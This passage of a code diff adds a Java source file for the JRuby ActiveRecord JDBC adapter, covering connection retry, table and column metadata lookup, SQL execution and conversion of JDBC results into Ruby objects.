+ * the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+ * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+ * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+ * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ ***** END LICENSE BLOCK *****/
+
+package jdbc_adapter;
+
+import java.io.IOException;
+import java.io.Reader;
+import java.io.InputStream;
+import java.io.ByteArrayInputStream;
+import java.io.StringReader;
+
+import java.sql.Connection;
+import java.sql.DatabaseMetaData;
+import java.sql.PreparedStatement;
+import java.sql.ResultSetMetaData;
+import java.sql.ResultSet;
+import java.sql.SQLException;
+import java.sql.Statement;
+import java.sql.PreparedStatement;
+import java.sql.Timestamp;
+import java.sql.Types;
+
+import java.text.DateFormat;
+import java.text.SimpleDateFormat;
+
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.List;
+
+import org.jruby.Ruby;
+import org.jruby.RubyArray;
+import org.jruby.RubyClass;
+import org.jruby.RubyHash;
+import org.jruby.RubyModule;
+import org.jruby.RubyNumeric;
+import org.jruby.RubyObjectAdapter;
+import org.jruby.RubyString;
+import org.jruby.RubySymbol;
+import org.jruby.RubyTime;
+import org.jruby.anno.JRubyMethod;
+import org.jruby.exceptions.RaiseException;
+import org.jruby.javasupport.Java;
+import org.jruby.javasupport.JavaEmbedUtils;
+import org.jruby.javasupport.JavaObject;
+import org.jruby.runtime.Arity;
+import org.jruby.runtime.Block;
+import org.jruby.runtime.ThreadContext;
+import org.jruby.runtime.builtin.IRubyObject;
+import org.jruby.runtime.load.BasicLibraryService;
+import org.jruby.util.ByteList;
+
+public class JdbcAdapterInternalService implements BasicLibraryService {
+    private static RubyObjectAdapter rubyApi;
+
+    public boolean basicLoad(final Ruby runtime) throws IOException {
+        RubyModule jdbcConnection = ((RubyModule)(runtime.getModule("ActiveRecord").getConstant("ConnectionAdapters"))).
+            defineClassUnder("JdbcConnection",runtime.getObject(),runtime.getObject().getAllocator());
+        jdbcConnection.defineAnnotatedMethods(JdbcAdapterInternalService.class);
+        RubyModule jdbcSpec = runtime.getOrCreateModule("JdbcSpec");
+
+        rubyApi = JavaEmbedUtils.newObjectAdapter();
+        JdbcMySQLSpec.load(jdbcSpec);
+        JdbcDerbySpec.load(jdbcSpec, rubyApi);
+        return true;
+    }
+
+    private static int whitespace(int p, final int pend, ByteList bl) {
+        while(p < pend) {
+            switch(bl.bytes[p]) {
+            case ' ':
+            case '\n':
+            case '\r':
+            case '\t':
+                p++;
+                break;
+            default:
+                return p;
+            }
+        }
+        return p;
+    }
+
+    @JRubyMethod(name = "insert?", required = 1, meta = true)
+    public static IRubyObject insert_p(IRubyObject recv, IRubyObject _sql) {
+        ByteList bl = rubyApi.convertToRubyString(_sql).getByteList();
+
+        int p = bl.begin;
+        int pend = p + bl.realSize;
+
+        p = whitespace(p, pend, bl);
+
+        if(pend - p >= 6) {
+            switch(bl.bytes[p++]) {
+            case 'i':
+            case 'I':
+                switch(bl.bytes[p++]) {
+                case 'n':
+                case 'N':
+                    switch(bl.bytes[p++]) {
+                    case 's':
+                    case 'S':
+                        switch(bl.bytes[p++]) {
+                        case 'e':
+                        case 'E':
+                            switch(bl.bytes[p++]) {
+                            case 'r':
+                            case 'R':
+                                switch(bl.bytes[p++]) {
+                                case 't':
+                                case 'T':
+                                    return recv.getRuntime().getTrue();
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+        return recv.getRuntime().getFalse();
+    }
+
+    @JRubyMethod(name = "select?", required = 1, meta = true)
+    public static IRubyObject select_p(IRubyObject recv, IRubyObject _sql) {
+        ByteList bl = rubyApi.convertToRubyString(_sql).getByteList();
+
+        int p = bl.begin;
+        int pend = p + bl.realSize;
+
+        p = whitespace(p, pend, bl);
+
+        if(pend - p >= 6) {
+            if(bl.bytes[p] == '(') {
+                p++;
+                p = whitespace(p, pend, bl);
+            }
+            if(pend - p >= 6) {
+                switch(bl.bytes[p++]) {
+                case 's':
+                case 'S':
+                    switch(bl.bytes[p++]) {
+                    case 'e':
+                    case 'E':
+                        switch(bl.bytes[p++]) {
+                        case 'l':
+                        case 'L':
+                            switch(bl.bytes[p++]) {
+                            case 'e':
+                            case 'E':
+                                switch(bl.bytes[p++]) {
+                                case 'c':
+                                case 'C':
+                                    switch(bl.bytes[p++]) {
+                                    case 't':
+                                    case 'T':
+                                        return recv.getRuntime().getTrue();
+                                    }
+                                }
+                            }
+                        }
+                    case 'h':
+                    case 'H':
+                        switch(bl.bytes[p++]) {
+                        case 'o':
+                        case 'O':
+                            switch(bl.bytes[p++]) {
+                            case 'w':
+                            case 'W':
+                                return recv.getRuntime().getTrue();
+                            }
+                        }
+                    }
+                }
+            }
+        }
+        return recv.getRuntime().getFalse();
+    }
+
+    @JRubyMethod(name = "connection")
+    public static IRubyObject connection(IRubyObject recv) {
+        Connection c = getConnection(recv);
+        if (c == null) {
+            reconnect(recv);
+        }
+        return rubyApi.getInstanceVariable(recv, "@connection");
+    }
+
+    @JRubyMethod(name = "disconnect!")
+    public static IRubyObject disconnect(IRubyObject recv) {
+        setConnection(recv, null);
+        return recv;
+    }
+
+    @JRubyMethod(name = "reconnect!")
+    public static IRubyObject reconnect(IRubyObject recv) {
+        setConnection(recv, getConnectionFactory(recv).newConnection());
+        return recv;
+    }
+
+    @JRubyMethod(name = "with_connection_retry_guard", frame = true)
+    public static IRubyObject with_connection_retry_guard(final IRubyObject recv, final Block block) {
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                return block.call(recv.getRuntime().getCurrentContext(), new IRubyObject[] {
+                    wrappedConnection(recv, c)
+                });
+            }
+        });
+    }
+
+    private static IRubyObject withConnectionAndRetry(IRubyObject recv, SQLBlock block) {
+        int tries = 1;
+        int i = 0;
+        Throwable toWrap = null;
+        boolean autoCommit = false;
+        while (i < tries) {
+            Connection c = getConnection(recv, true);
+            try {
+                autoCommit = c.getAutoCommit();
+                return block.call(c);
+            } catch (Exception e) {
+                toWrap = e;
+                while (toWrap.getCause() != null && toWrap.getCause() != toWrap) {
+                    toWrap = toWrap.getCause();
+                }
+                i++;
+                if (autoCommit) {
+                    if (i == 1) {
+                        tries = (int) rubyApi.convertToRubyInteger(config_value(recv, "retry_count")).getLongValue();
+                        if (tries <= 0) {
+                            tries = 1;
+                        }
+                    }
+                    if (isConnectionBroken(recv, c)) {
+                        reconnect(recv);
+                    } else {
+                        throw wrap(recv, toWrap);
+                    }
+                }
+            }
+        }
+        throw wrap(recv, toWrap);
+    }
+
+    private static SQLBlock tableLookupBlock(final Ruby runtime,
+            final String catalog, final String schemapat,
+            final String tablepat, final String[] types) {
+        return new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                ResultSet rs = null;
+                try {
+                    DatabaseMetaData metadata = c.getMetaData();
+                    String clzName = metadata.getClass().getName().toLowerCase();
+                    boolean isOracle = clzName.indexOf("oracle") != -1 || clzName.indexOf("oci") != -1;
+
+                    String realschema = schemapat;
+                    String realtablepat = tablepat;
+
+                    if(metadata.storesUpperCaseIdentifiers()) {
+                        if (realschema != null) realschema = realschema.toUpperCase();
+                        if (realtablepat != null) realtablepat = realtablepat.toUpperCase();
+                    } else if(metadata.storesLowerCaseIdentifiers()) {
+                        if (null != realschema) realschema = realschema.toLowerCase();
+                        if (realtablepat != null) realtablepat = realtablepat.toLowerCase();
+                    }
+
+                    if (realschema == null && isOracle) {
+                        ResultSet schemas = metadata.getSchemas();
+                        String username = metadata.getUserName();
+                        while (schemas.next()) {
+                            if (schemas.getString(1).equalsIgnoreCase(username)) {
+                                realschema = schemas.getString(1);
+                                break;
+                            }
+                        }
+                        schemas.close();
+                    }
+                    rs = metadata.getTables(catalog, realschema, realtablepat, types);
+                    List arr = new ArrayList();
+                    while (rs.next()) {
+                        String name = rs.getString(3).toLowerCase();
+                        // Handle stupid Oracle 10g RecycleBin feature
+                        if (!isOracle || !name.startsWith("bin$")) {
+                            arr.add(RubyString.newUnicodeString(runtime, name));
+                        }
+                    }
+                    return runtime.newArray(arr);
+                } finally {
+                    try { rs.close(); } catch (Exception e) { }
+                }
+            }
+        };
+    }
+
+    @JRubyMethod(name = "tables", rest = true)
+    public static IRubyObject tables(final IRubyObject recv, IRubyObject[] args) {
+        final Ruby runtime     = recv.getRuntime();
+        final String catalog   = getCatalog(args);
+        final String schemapat = getSchemaPattern(args);
+        final String tablepat  = getTablePattern(args);
+        final String[] types   = getTypes(args);
+        return withConnectionAndRetry(recv, tableLookupBlock(runtime, catalog,
+                schemapat, tablepat, types));
+    }
+
+    private static String getCatalog(IRubyObject[] args) {
+        if (args != null && args.length > 0) {
+            return convertToStringOrNull(args[0]);
+        }
+        return null;
+    }
+
+    private static String getSchemaPattern(IRubyObject[] args) {
+        if (args != null && args.length > 1) {
+            return convertToStringOrNull(args[1]);
+        }
+        return null;
+    }
+
+    private static String getTablePattern(IRubyObject[] args) {
+        if (args != null && args.length > 2) {
+            return convertToStringOrNull(args[2]);
+        }
+        return null;
+    }
+
+    private static String[] getTypes(IRubyObject[] args) {
+        String[] types = new String[]{"TABLE"};
+        if (args != null && args.length > 3) {
+            IRubyObject typearr = args[3];
+            if (typearr instanceof RubyArray) {
+                IRubyObject[] arr = rubyApi.convertToJavaArray(typearr);
+                types = new String[arr.length];
+                for (int i = 0; i < types.length; i++) {
+                    types[i] = arr[i].toString();
+                }
+            } else {
+                types = new String[]{types.toString()};
+            }
+        }
+        return types;
+    }
+
+    @JRubyMethod(name = "native_database_types")
+    public static IRubyObject native_database_types(IRubyObject recv) {
+        return rubyApi.getInstanceVariable(recv, "@tps");
+    }
+
+    @JRubyMethod(name = "set_native_database_types")
+    public static IRubyObject set_native_database_types(IRubyObject recv) throws SQLException, IOException {
+        Ruby runtime = recv.getRuntime();
+        IRubyObject types = unmarshal_result_downcase(recv, getConnection(recv, true).getMetaData().getTypeInfo());
+        IRubyObject typeConverter = ((RubyModule) (runtime.getModule("ActiveRecord").getConstant("ConnectionAdapters"))).getConstant("JdbcTypeConverter");
+        IRubyObject value = rubyApi.callMethod(rubyApi.callMethod(typeConverter, "new", types), "choose_best_types");
+        rubyApi.setInstanceVariable(recv, "@native_types", value);
+        return runtime.getNil();
+    }
+
+    @JRubyMethod(name = "database_name")
+    public static IRubyObject database_name(IRubyObject recv) throws SQLException {
+        String name = getConnection(recv, true).getCatalog();
+        if(null == name) {
+            name = getConnection(recv, true).getMetaData().getUserName();
+            if(null == name) {
+                name = "db1";
+            }
+        }
+        return recv.getRuntime().newString(name);
+    }
+
+    @JRubyMethod(name = "begin")
+    public static IRubyObject begin(IRubyObject recv) throws SQLException {
+        getConnection(recv, true).setAutoCommit(false);
+        return recv.getRuntime().getNil();
+    }
+
+    @JRubyMethod(name = "commit")
+    public static IRubyObject commit(IRubyObject recv) throws SQLException {
+        Connection c = getConnection(recv, true);
+        if (!c.getAutoCommit()) {
+            try {
+                c.commit();
+            } finally {
+                c.setAutoCommit(true);
+            }
+        }
+        return recv.getRuntime().getNil();
+    }
+
+    @JRubyMethod(name = "rollback")
+    public static IRubyObject rollback(IRubyObject recv) throws SQLException {
+        Connection c = getConnection(recv, true);
+        if (!c.getAutoCommit()) {
+            try {
+                c.rollback();
+            } finally {
+                c.setAutoCommit(true);
+            }
+        }
+        return recv.getRuntime().getNil();
+    }
+
+    @JRubyMethod(name = {"columns", "columns_internal"}, required = 1, optional = 2)
+    public static IRubyObject columns_internal(final IRubyObject recv, final IRubyObject[] args) throws SQLException, IOException {
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                ResultSet results = null;
+                try {
+                    String table_name = rubyApi.convertToRubyString(args[0]).getUnicodeValue();
+                    String schemaName = null;
+
+                    int index = table_name.indexOf(".");
+                    if(index != -1) {
+                        schemaName = table_name.substring(0, index);
+                        table_name = table_name.substring(index + 1);
+                    }
+
+                    DatabaseMetaData metadata = c.getMetaData();
+                    String clzName = metadata.getClass().getName().toLowerCase();
+                    boolean isDerby = clzName.indexOf("derby") != -1;
+                    boolean isOracle = clzName.indexOf("oracle") != -1 || clzName.indexOf("oci") != -1;
+
+                    if(args.length>2) {
+                        schemaName = args[2].toString();
+                    }
+
+                    if(metadata.storesUpperCaseIdentifiers()) {
+                        if (null != schemaName) schemaName = schemaName.toUpperCase();
+                        table_name = table_name.toUpperCase();
+                    } else if(metadata.storesLowerCaseIdentifiers()) {
+                        if (null != schemaName) schemaName = schemaName.toLowerCase();
+                        table_name = table_name.toLowerCase();
+                    }
+
+                    if(schemaName == null && (isDerby || isOracle)) {
+                        ResultSet schemas = metadata.getSchemas();
+                        String username = metadata.getUserName();
+                        while(schemas.next()) {
+                            if(schemas.getString(1).equalsIgnoreCase(username)) {
+                                schemaName = schemas.getString(1);
+                                break;
+                            }
+                        }
+                        schemas.close();
+                    }
+
+                    RubyArray matchingTables = (RubyArray) tableLookupBlock(recv.getRuntime(),
+                                                                            c.getCatalog(), schemaName, table_name, new String[]{"TABLE","VIEW"}).call(c);
+                    if (matchingTables.isEmpty()) {
+                        throw new SQLException("Table " + table_name + " does not exist");
+                    }
+
+                    results = metadata.getColumns(c.getCatalog(),schemaName,table_name,null);
+                    return unmarshal_columns(recv, metadata, results);
+                } finally {
+                    try { if (results != null) results.close(); } catch (SQLException sqx) {}
+                }
+            }
+        });
+    }
+
+    private static final java.util.regex.Pattern HAS_SMALL = java.util.regex.Pattern.compile("[a-z]");
+    private static IRubyObject unmarshal_columns(IRubyObject recv, DatabaseMetaData metadata, ResultSet rs) throws SQLException {
+        try {
+            List columns = new ArrayList();
+            String clzName = metadata.getClass().getName().toLowerCase();
+            boolean isDerby = clzName.indexOf("derby") != -1;
+            boolean isOracle = clzName.indexOf("oracle") != -1 || clzName.indexOf("oci") != -1;
+            Ruby runtime = recv.getRuntime();
+
+            IRubyObject adapter = rubyApi.callMethod(recv, "adapter");
+            RubyHash tps = (RubyHash) rubyApi.callMethod(adapter, "native_database_types");
+
+            IRubyObject jdbcCol = ((RubyModule)(runtime.getModule("ActiveRecord").getConstant("ConnectionAdapters"))).getConstant("JdbcColumn");
+
+            while(rs.next()) {
+                String column_name = rs.getString(4);
+                if(metadata.storesUpperCaseIdentifiers() && !HAS_SMALL.matcher(column_name).find()) {
+                    column_name = column_name.toLowerCase();
+                }
+
+                String prec = rs.getString(7);
+                String scal = rs.getString(9);
+                int precision = -1;
+                int scale = -1;
+                if(prec != null) {
+                    precision = Integer.parseInt(prec);
+                    if(scal != null) {
+                        scale = Integer.parseInt(scal);
+                    }
+                    else if(isOracle && rs.getInt(5) == java.sql.Types.DECIMAL) { // NUMBER type in Oracle
+                        prec = null;
+                    }
+                }
+                String type = rs.getString(6);
+                if(prec != null && precision > 0) {
+                    type += "(" + precision;
+                    if(scal != null && scale > 0) {
+                        type += "," + scale;
+                    }
+                    type += ")";
+                }
+                String def = rs.getString(13);
+                IRubyObject _def;
+                if(def == null || (isOracle && def.toLowerCase().trim().equals("null"))) {
+                    _def = runtime.getNil();
+                } else {
+                    if(isOracle) {
+                        def = def.trim();
+                    }
+                    if((isDerby || isOracle) && def.length() > 0 && def.charAt(0) == '\'') {
+                        def = def.substring(1, def.length()-1);
+                    }
+                    _def = RubyString.newUnicodeString(runtime, def);
+                }
+                IRubyObject config = rubyApi.getInstanceVariable(recv, "@config");
+                IRubyObject c = rubyApi.callMethod(jdbcCol, "new",
+                        new IRubyObject[]{
+                                                       config, RubyString.newUnicodeString(runtime, column_name),
+                                                       _def, RubyString.newUnicodeString(runtime, type),
+                            runtime.newBoolean(!rs.getString(18).trim().equals("NO"))
+                        });
+                columns.add(c);
+
+                IRubyObject tp = (IRubyObject)tps.fastARef(rubyApi.callMethod(c,"type"));
+                if(tp != null && !tp.isNil() && rubyApi.callMethod(tp, "[]", runtime.newSymbol("limit")).isNil()) {
+                    rubyApi.callMethod(c, "limit=", runtime.getNil());
+                    if(!rubyApi.callMethod(c, "type").equals(runtime.newSymbol("decimal"))) {
+                        rubyApi.callMethod(c, "precision=", runtime.getNil());
+                    }
+                }
+            }
+            return runtime.newArray(columns);
+        } finally {
+            try {
+                rs.close();
+            } catch(Exception e) {}
+        }
+    }
+
+    @JRubyMethod(name = "primary_keys", required = 1)
+    public static IRubyObject primary_keys(final IRubyObject recv, final IRubyObject _table_name) throws SQLException {
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                DatabaseMetaData metadata = c.getMetaData();
+                String table_name = _table_name.toString();
+                if (metadata.storesUpperCaseIdentifiers()) {
+                    table_name = table_name.toUpperCase();
+                } else if (metadata.storesLowerCaseIdentifiers()) {
+                    table_name = table_name.toLowerCase();
+                }
+                ResultSet result_set = metadata.getPrimaryKeys(null, null, table_name);
+                List keyNames = new ArrayList();
+                Ruby runtime = recv.getRuntime();
+                while (result_set.next()) {
+                    String s1 = result_set.getString(4);
+                    if (metadata.storesUpperCaseIdentifiers() && !HAS_SMALL.matcher(s1).find()) {
+                        s1 = s1.toLowerCase();
+                    }
+                    keyNames.add(RubyString.newUnicodeString(runtime,s1));
+                }
+
+                try {
+                    result_set.close();
+                } catch (Exception e) {
+                }
+
+                return runtime.newArray(keyNames);
+            }
+        });
+    }
+
+    @JRubyMethod(name = "execute_id_insert", required = 2)
+    public static IRubyObject execute_id_insert(IRubyObject recv, final IRubyObject sql, final IRubyObject id) throws SQLException {
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                PreparedStatement ps = c.prepareStatement(rubyApi.convertToRubyString(sql).getUnicodeValue());
+                try {
+                    ps.setLong(1, RubyNumeric.fix2long(id));
+                    ps.executeUpdate();
+                } finally {
+                    ps.close();
+                }
+                return id;
+            }
+        });
+    }
+
+    @JRubyMethod(name = "execute_update", required = 1)
+    public static IRubyObject execute_update(final IRubyObject recv, final IRubyObject sql) throws SQLException {
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                Statement stmt = null;
+                try {
+                    stmt = c.createStatement();
+                    return recv.getRuntime().newFixnum((long)stmt.executeUpdate(rubyApi.convertToRubyString(sql).getUnicodeValue()));
+                } finally {
+                    if (null != stmt) {
+                        try {
+                            stmt.close();
+                        } catch (Exception e) {
+                        }
+                    }
+                }
+            }
+        });
+    }
+
+    @JRubyMethod(name = "execute_query", rest = true)
+    public static IRubyObject execute_query(final IRubyObject recv, IRubyObject[] args) throws SQLException, IOException {
+        final IRubyObject sql = args[0];
+        final int maxrows;
+
+        if (args.length > 1) {
+            maxrows = RubyNumeric.fix2int(args[1]);
+        } else {
+            maxrows = 0;
+        }
+
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                Statement stmt = null;
+                try {
+                    stmt = c.createStatement();
+                    stmt.setMaxRows(maxrows);
+                    return unmarshal_result(recv, stmt.executeQuery(rubyApi.convertToRubyString(sql).getUnicodeValue()));
+                } finally {
+                    if (null != stmt) {
+                        try {
+                            stmt.close();
+                        } catch (Exception e) {
+                        }
+                    }
+                }
+            }
+        });
+    }
+
+    @JRubyMethod(name = "execute_insert", required = 1)
+    public static IRubyObject execute_insert(final IRubyObject recv, final IRubyObject sql) throws SQLException {
+        return withConnectionAndRetry(recv, new SQLBlock() {
+            public IRubyObject call(Connection c) throws SQLException {
+                Statement stmt = null;
+                try {
+                    stmt = c.createStatement();
+                    stmt.executeUpdate(rubyApi.convertToRubyString(sql).getUnicodeValue(), Statement.RETURN_GENERATED_KEYS);
+                    return unmarshal_id_result(recv.getRuntime(), stmt.getGeneratedKeys());
+                } finally {
+                    if (null != stmt) {
+                        try {
+                            stmt.close();
+                        } catch (Exception e) {
+                        }
+                    }
+                }
+            }
+        });
+    }
+
+    public static IRubyObject unmarshal_result_downcase(IRubyObject recv, ResultSet rs) throws SQLException, IOException {
+        List results = new ArrayList();
+        Ruby runtime = recv.getRuntime();
+        try {
+            ResultSetMetaData metadata = rs.getMetaData();
+            int col_count = metadata.getColumnCount();
+            IRubyObject[] col_names = new IRubyObject[col_count];
+            int[] col_types = new int[col_count];
+            int[] col_scale = new int[col_count];
+
+            for(int i=0;i<col_count;i++) {
+                col_names[i] = RubyString.newUnicodeString(runtime, metadata.getColumnLabel(i+1).toLowerCase());
+                col_types[i] = metadata.getColumnType(i+1);
+                col_scale[i] = metadata.getScale(i+1);
+            }
+
+            while(rs.next()) {
+                RubyHash row = RubyHash.newHash(runtime);
+                for(int i=0;i<col_count;i++) {
+                    rubyApi.callMethod(row, "[]=", new IRubyObject[] {
+                        col_names[i], jdbc_to_ruby(runtime, i+1, col_types[i], col_scale[i], rs)
+                    });
+                }
+                results.add(row);
+            }
+        } finally {
+            try {
+                rs.close();
+            } catch(Exception e) {}
+        }
+
+        return runtime.newArray(results);
+    }
+
+    public static IRubyObject unmarshal_result(IRubyObject recv, ResultSet rs) throws SQLException {
+        Ruby runtime = recv.getRuntime();
+        List results = new ArrayList();
+        try {
+            ResultSetMetaData metadata = rs.getMetaData();
+            boolean storesUpper = rs.getStatement().getConnection().getMetaData().storesUpperCaseIdentifiers();
+            int col_count = metadata.getColumnCount();
+            IRubyObject[] col_names = new IRubyObject[col_count];
+            int[] col_types = new int[col_count];
+            int[] col_scale = new int[col_count];
+
+            for(int i=0;i<col_count;i++) {
+                String s1 = metadata.getColumnLabel(i+1);
+                if(storesUpper && !HAS_SMALL.matcher(s1).find()) {
+                    s1 = s1.toLowerCase();
+                }
+                col_names[i] = RubyString.newUnicodeString(runtime, s1);
+                col_types[i] = metadata.getColumnType(i+1);
+                col_scale[i] = metadata.getScale(i+1);
+            }
+
+            while(rs.next()) {
+                RubyHash row = RubyHash.newHash(runtime);
+                for(int i=0;i<col_count;i++) {
+                    rubyApi.callMethod(row, "[]=", new IRubyObject[] {
+                        col_names[i], jdbc_to_ruby(runtime, i+1, col_types[i], col_scale[i], rs)
+                    });
+                }
+                results.add(row);
+            }
+        } finally {
+            try {
+                rs.close();
+            } catch(Exception e) {}
+        }
+        return runtime.newArray(results);
+    }
+
+    @JRubyMethod(name = "unmarshal_result", required = 1)
+    public static IRubyObject unmarshal_result(IRubyObject recv, IRubyObject resultset, Block row_filter) throws SQLException, IOException {
+        Ruby runtime = recv.getRuntime();
+        ResultSet rs = intoResultSet(resultset);
+        List results = new ArrayList();
+        try {
+            ResultSetMetaData metadata = rs.getMetaData();
+            int col_count = metadata.getColumnCount();
+            IRubyObject[] col_names = new IRubyObject[col_count];
+            int[] col_types = new int[col_count];
+            int[] col_scale = new int[col_count];
+
+            for (int i=0;i<col_count;i++) {
+                col_names[i] = RubyString.newUnicodeString(runtime, metadata.getColumnLabel(i+1));
+                col_types[i] = metadata.getColumnType(i+1);
+                col_scale[i] = metadata.getScale(i+1);
+            }
+
+            if (row_filter.isGiven()) {
+                while (rs.next()) {
+                    if (row_filter.yield(runtime.getCurrentContext(),resultset).isTrue()) {
+                        RubyHash row = RubyHash.newHash(runtime);
+                        for (int i=0;i<col_count;i++) {
+                            rubyApi.callMethod(row, "[]=", new IRubyObject[] {
+                                col_names[i], jdbc_to_ruby(runtime, i+1, col_types[i], col_scale[i], rs)
+                            });
+                        }
+                        results.add(row);
+                    }
+                }
+            } else {
+                while (rs.next()) {
+                    RubyHash row = RubyHash.newHash(runtime);
+                    for (int i=0;i<col_count;i++) {
+                        rubyApi.callMethod(row, "[]=", new IRubyObject[] {
+                            col_names[i], jdbc_to_ruby(runtime, i+1, col_types[i], col_scale[i], rs)
+                        });
+                    }
+                    results.add(row);
+                }
+            }
+
+        } finally {
+            try {
+                rs.close();
+            } catch(Exception e) {}
+        }
+
+        return runtime.newArray(results);
+    }
+
+    private static IRubyObject jdbc_to_ruby(Ruby runtime, int row, int type, int scale, ResultSet rs) throws SQLException {
+        try {
+            int n;
+            switch (type) {
+                case Types.BINARY:
+                case Types.BLOB:
+                case Types.LONGVARBINARY:
+                case Types.VARBINARY:
+                    InputStream is = rs.getBinaryStream(row);
+                    if (is == null || rs.wasNull()) {
+                        return runtime.getNil();
+                    }
+                    ByteList str = new ByteList(2048);
+                    byte[] buf = new byte[2048];
+
+                    while ((n = is.read(buf)) != -1) {
+                        str.append(buf, 0, n);
+                    }
+                    is.close();
+
+                    return runtime.newString(str);
+                case Types.LONGVARCHAR:
+                case Types.CLOB:
+                    Reader rss = rs.getCharacterStream(row);
+                    if (rss == null || rs.wasNull()) {
+                        return runtime.getNil();
+                    }
+                    StringBuffer str2 = new StringBuffer(2048);
+                    char[] cuf = new char[2048];
+                    while ((n = rss.read(cuf)) != -1) {
+                        str2.append(cuf, 0, n);
+                    }
+                    rss.close();
+                    return RubyString.newUnicodeString(runtime, str2.toString());
+                case Types.TIMESTAMP:
+                    Timestamp time = rs.getTimestamp(row);
+                    if (time == null || rs.wasNull()) {
+                        return runtime.getNil();
+                    }
+                    String sttr = time.toString();
+                    if (sttr.endsWith(" 00:00:00.0")) {
+                        sttr = sttr.substring(0, sttr.length() - (" 00:00:00.0".length()));
+                    }
+                    return RubyString.newUnicodeString(runtime, sttr);
+                default:
+                    String vs = rs.getString(row);
+                    if (vs == null || rs.wasNull()) {
+                        return runtime.getNil();
+                    }
+
+                    return RubyString.newUnicodeString(runtime, vs);
+            }
+        } catch (IOException ioe) {
+            throw (SQLException) new SQLException(ioe.getMessage()).initCause(ioe);
+        }
+    }
+
+    public static IRubyObject unmarshal_id_result(Ruby runtime, ResultSet rs) throws SQLException {
+        try {
+            if(rs.next()) {
+                if(rs.getMetaData().getColumnCount() > 0) {
+                    return runtime.newFixnum(rs.getLong(1));
+                }
+            }
+            return runtime.getNil();
+        } finally {
+            try {
+                rs.close();
+            } catch(Exception e) {}
+        }
+    }
+
+    private static String convertToStringOrNull(IRubyObject obj) {
+        if (obj.isNil()) {
+            return null;
+        }
+        return obj.toString();
+    }
+
+    private static int getTypeValueFor(Ruby runtime, IRubyObject type) throws SQLException {
+        if(!(type instanceof RubySymbol)) {
+            type = rubyApi.callMethod(type, "class");
+        }
+        if(type == runtime.newSymbol("string")) {
+            return Types.VARCHAR;
+        } else if(type == runtime.newSymbol("text")) {
+            return Types.CLOB;
+        } else if(type == runtime.newSymbol("integer")) {
+            return Types.INTEGER;
+        } else if(type == runtime.newSymbol("decimal")) {
+            return Types.DECIMAL;
+        } else if(type == runtime.newSymbol("float")) {
+            return Types.FLOAT;
+        } else if(type == runtime.newSymbol("datetime")) {
+            return Types.TIMESTAMP;
+        } else if(type == runtime.newSymbol("timestamp")) {
+            return Types.TIMESTAMP;
+        } else if(type == runtime.newSymbol("time")) {
+            return Types.TIME;
+        } else if(type == runtime.newSymbol("date")) {
+            return Types.DATE;
+        } else if(type == runtime.newSymbol("binary")) {
+            return Types.BLOB;
+        } else if(type == runtime.newSymbol("boolean")) {
+            return Types.BOOLEAN;
+        } else {
+            return -1;
+        }
+    }
+
+    private final static DateFormat FORMAT = new SimpleDateFormat("%y-%M-%d %H:%m:%s");
+
+    private static void setValue(PreparedStatement ps, int index, Ruby runtime, ThreadContext context,
+            IRubyObject value, IRubyObject type) throws SQLException {
+        final int tp = getTypeValueFor(runtime, type);
+        if(value.isNil()) {
+            ps.setNull(index, tp);
+            return;
+        }
+
+        switch(tp) {
+        case Types.VARCHAR:
+        case Types.CLOB:
+            ps.setString(index, RubyString.objAsString(context, value).toString());
+            break;
+        case Types.INTEGER:
+            ps.setLong(index, RubyNumeric.fix2long(value));
+            break;
+        case Types.FLOAT:
+            ps.setDouble(index, ((RubyNumeric)value).getDoubleValue());
+            break;
+        case Types.TIMESTAMP:
+        case Types.TIME:
+        case Types.DATE:
+            if(!(value instanceof RubyTime)) {
+                try {
+                    Date dd = FORMAT.parse(RubyString.objAsString(context, value).toString());
+                    ps.setTimestamp(index, new java.sql.Timestamp(dd.getTime()), Calendar.getInstance());
+                } catch(Exception e) {
+                    ps.setString(index, RubyString.objAsString(context, value).toString());
+                }
+            } else {
+                RubyTime rubyTime = (RubyTime) value;
+                java.util.Date date = rubyTime.getJavaDate();
+                long millis = date.getTime();
+                long micros = rubyTime.microseconds() - millis / 1000;
+                java.sql.Timestamp ts = new java.sql.Timestamp(millis);
+                java.util.Calendar cal = Calendar.getInstance();
+                cal.setTime(date);
+                ts.setNanos((int)(micros * 1000));
+                ps.setTimestamp(index, ts, cal);
+            }
+            break;
+        case Types.BOOLEAN:
+            ps.setBoolean(index, value.isTrue());
+            break;
+        default: throw new RuntimeException("type " + type + " not supported in _bind yet");
+        }
+    }
+
+    private static void setValuesOnPS(PreparedStatement ps, Ruby runtime, ThreadContext context,
+            IRubyObject values, IRubyObject types) throws SQLException {
+        RubyArray vals = (RubyArray)values;
+        RubyArray tps = (RubyArray)types;
+
+        for(int i=0, j=vals.getLength(); i<j; i++) {
+            setValue(ps, i+1, runtime, context, vals.eltInternal(i), tps.eltInternal(i));
+        }
+    }
+
+    /*
+     * sql, values, types, name = nil, pk = nil, id_value = nil, sequence_name = nil
+     */
+    @JRubyMethod(name = "insert_bind", required = 3, rest = true)
